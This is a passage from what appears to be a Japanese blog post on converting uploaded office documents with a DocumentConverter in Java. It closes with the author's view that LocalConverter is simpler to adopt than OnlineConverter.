    String inputExtension = FilenameUtils.getExtension(file.getOriginalFilename());
    DocumentFormatRegistry registry = this.documentConverter.getFormatRegistry();
    DocumentFormat inputFormat = registry.getFormatByExtension(inputExtension);
    if (inputFormat == null) {
      inputFormat = registry.getFormatByExtension("xlsx");
    }

    // 変換後拡張子設定
    DocumentFormat outputFormat = registry.getFormatByExtension(outputExtension);

    // 変換処理
    try (
        InputStream is = file.getInputStream();
        ByteArrayOutputStream os = new ByteArrayOutputStream();
    ) {
      this.documentConverter.convert(is).as(inputFormat).to(os).as(outputFormat).execute();
      return new ByteArrayResource(os.toByteArray());
    } catch (Exception e) {
      e.printStackTrace();
    }
    return null;
  }
}
```


# まとめ
OnlineConverter は今まで使う機会がなかったため、使い方の勉強になった。

ただ、LocalConverter のほうが OnlineConverter 利用時のサーバーの実装がない分簡単に導入できるので、
よほどの理由がない限り使わないかな。。。